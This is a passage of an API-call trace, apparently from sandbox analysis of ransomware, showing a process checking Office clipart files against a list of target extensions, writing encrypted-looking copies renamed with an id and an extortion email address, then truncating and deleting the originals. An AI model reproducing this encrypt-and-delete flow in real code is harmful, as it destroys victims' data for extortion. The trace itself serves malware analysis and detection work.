	[0182.935] WriteFile (in: hFile=0x554, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x107e0, lpOverlapped=0x0) returned 1
	[0182.937] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.937] WriteFile (in: hFile=0x554, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.937] SetEndOfFile (hFile=0x554) returned 1
	[0182.937] CloseHandle (hObject=0x554) returned 1
	[0182.937] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.937] SetEndOfFile (hFile=0x52c) returned 1
	[0182.941] CloseHandle (hObject=0x52c) returned 1
	[0183.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1
	[0183.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.026] lstrlenW (lpString=".doc") returned 4
	[0183.026] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.026] lstrlenW (lpString=".docx") returned 5
	[0183.026] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0183.026] lstrlenW (lpString=".pdf") returned 4
	[0183.026] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.026] lstrlenW (lpString=".xls") returned 4
	[0183.026] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.026] lstrlenW (lpString=".xlsx") returned 5
	[0183.026] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0183.026] lstrlenW (lpString=".ppt") returned 4
	[0183.027] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString=".zip") returned 4
	[0183.027] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.027] lstrlenW (lpString=".rar") returned 4
	[0183.027] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.027] lstrlenW (lpString=".bz2") returned 4
	[0183.027] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.027] lstrlenW (lpString=".7z") returned 3
	[0183.027] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString=".dbf") returned 4
	[0183.027] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString=".1cd") returned 4
	[0183.027] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString=".jpg") returned 4
	[0183.027] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString=".doc") returned 4
	[0183.027] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.027] lstrlenW (lpString=".docx") returned 5
	[0183.027] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0183.027] lstrlenW (lpString=".pdf") returned 4
	[0183.027] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.027] lstrlenW (lpString=".xls") returned 4
	[0183.027] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.027] lstrlenW (lpString=".xlsx") returned 5
	[0183.027] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0183.027] lstrlenW (lpString=".ppt") returned 4
	[0183.027] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.027] lstrlenW (lpString=".zip") returned 4
	[0183.028] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.028] lstrlenW (lpString=".rar") returned 4
	[0183.028] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.028] lstrlenW (lpString=".bz2") returned 4
	[0183.028] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.028] lstrlenW (lpString=".7z") returned 3
	[0183.028] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.028] lstrlenW (lpString=".dbf") returned 4
	[0183.028] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.028] lstrlenW (lpString=".1cd") returned 4
	[0183.028] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0183.028] lstrlenW (lpString=".jpg") returned 4
	[0183.028] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.028] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0183.028] lstrlenW (lpString="J0149118.JPG") returned 12
	[0183.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.029] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=64802) returned 1
	[0183.029] CloseHandle (hObject=0x52c) returned 1
	[0183.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220
	[0183.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.030] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.030] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.031] GetLastError () returned 0x0
	[0183.031] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xfd22, lpOverlapped=0x0) returned 1
	[0183.100] WriteFile (in: hFile=0x55c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xfd30, lpOverlapped=0x0) returned 1
	[0183.102] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.102] WriteFile (in: hFile=0x55c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.102] SetEndOfFile (hFile=0x55c) returned 1
	[0183.103] CloseHandle (hObject=0x55c) returned 1
	[0183.103] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.103] SetEndOfFile (hFile=0x52c) returned 1
	[0183.107] CloseHandle (hObject=0x52c) returned 1
	[0183.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1
	[0183.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.109] lstrlenW (lpString=".doc") returned 4
	[0183.109] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.110] lstrlenW (lpString=".docx") returned 5
	[0183.110] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.110] lstrlenW (lpString=".pdf") returned 4
	[0183.110] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.110] lstrlenW (lpString=".xls") returned 4
	[0183.110] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.110] lstrlenW (lpString=".xlsx") returned 5
	[0183.110] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.110] lstrlenW (lpString=".ppt") returned 4
	[0183.110] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.110] lstrlenW (lpString=".zip") returned 4
	[0183.110] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.110] lstrlenW (lpString=".rar") returned 4
	[0183.110] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.110] lstrlenW (lpString=".bz2") returned 4
	[0183.110] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.110] lstrlenW (lpString=".7z") returned 3
	[0183.110] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.110] lstrlenW (lpString=".dbf") returned 4
	[0183.110] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.110] lstrlenW (lpString=".1cd") returned 4
	[0183.110] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.110] lstrlenW (lpString=".jpg") returned 4
	[0183.110] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.111] lstrlenW (lpString=".doc") returned 4
	[0183.111] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.111] lstrlenW (lpString=".docx") returned 5
	[0183.111] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0183.111] lstrlenW (lpString=".pdf") returned 4
	[0183.111] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.111] lstrlenW (lpString=".xls") returned 4
	[0183.111] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.111] lstrlenW (lpString=".xlsx") returned 5
	[0183.111] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0183.111] lstrlenW (lpString=".ppt") returned 4
	[0183.111] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.111] lstrlenW (lpString=".zip") returned 4
	[0183.111] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.111] lstrlenW (lpString=".rar") returned 4
	[0183.111] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.111] lstrlenW (lpString=".bz2") returned 4
	[0183.111] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.111] lstrlenW (lpString=".7z") returned 3
	[0183.111] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.111] lstrlenW (lpString=".dbf") returned 4
	[0183.112] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.112] lstrlenW (lpString=".1cd") returned 4
	[0183.112] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0183.112] lstrlenW (lpString=".jpg") returned 4
	[0183.112] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.112] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.112] lstrlenW (lpString="J0150150.WMF") returned 12
	[0183.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.114] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=46404) returned 1
	[0183.114] CloseHandle (hObject=0x52c) returned 1
	[0183.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220
	[0183.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0183.115] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.115] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.116] GetLastError () returned 0x0
	[0183.116] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xb544, lpOverlapped=0x0) returned 1
	[0183.167] WriteFile (in: hFile=0x55c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xb550, lpOverlapped=0x0) returned 1
	[0183.169] ReadFile (in: hFile=0x52c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.169] WriteFile (in: hFile=0x55c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.169] SetEndOfFile (hFile=0x55c) returned 1
	[0183.184] CloseHandle (hObject=0x55c) returned 1
	[0183.192] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.193] SetEndOfFile (hFile=0x52c) returned 1
	[0183.266] CloseHandle (hObject=0x52c) returned 1
	[0183.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.267] lstrlenW (lpString=".doc") returned 4
	[0183.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.267] lstrlenW (lpString=".docx") returned 5
	[0183.267] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.267] lstrlenW (lpString=".pdf") returned 4
	[0183.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.267] lstrlenW (lpString=".xls") returned 4
	[0183.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.267] lstrlenW (lpString=".xlsx") returned 5
	[0183.268] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.268] lstrlenW (lpString=".ppt") returned 4
	[0183.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.268] lstrlenW (lpString=".zip") returned 4
	[0183.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.268] lstrlenW (lpString=".rar") returned 4
	[0183.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString=".bz2") returned 4
	[0183.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString=".7z") returned 3
	[0183.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.268] lstrlenW (lpString=".dbf") returned 4
	[0183.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.268] lstrlenW (lpString=".1cd") returned 4
	[0183.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.268] lstrlenW (lpString=".jpg") returned 4
	[0183.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.268] lstrlenW (lpString=".doc") returned 4
	[0183.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString=".docx") returned 5
	[0183.268] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0183.268] lstrlenW (lpString=".pdf") returned 4
	[0183.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.268] lstrlenW (lpString=".xls") returned 4
	[0183.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.269] lstrlenW (lpString=".xlsx") returned 5
	[0183.269] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0183.269] lstrlenW (lpString=".ppt") returned 4
	[0183.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.269] lstrlenW (lpString=".zip") returned 4
	[0183.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.269] lstrlenW (lpString=".rar") returned 4
	[0183.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.269] lstrlenW (lpString=".bz2") returned 4
	[0183.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.269] lstrlenW (lpString=".7z") returned 3
	[0183.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.269] lstrlenW (lpString=".dbf") returned 4
	[0183.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.269] lstrlenW (lpString=".1cd") returned 4
	[0183.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0183.269] lstrlenW (lpString=".jpg") returned 4
	[0183.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.270] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.270] lstrlenW (lpString="J0151061.WMF") returned 12
	[0183.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.344] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6752) returned 1
	[0183.344] CloseHandle (hObject=0x558) returned 1
	[0183.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220
	[0183.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0183.345] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.345] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.352] GetLastError () returned 0x0
	[0183.352] ReadFile (in: hFile=0x558, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1a60, lpOverlapped=0x0) returned 1
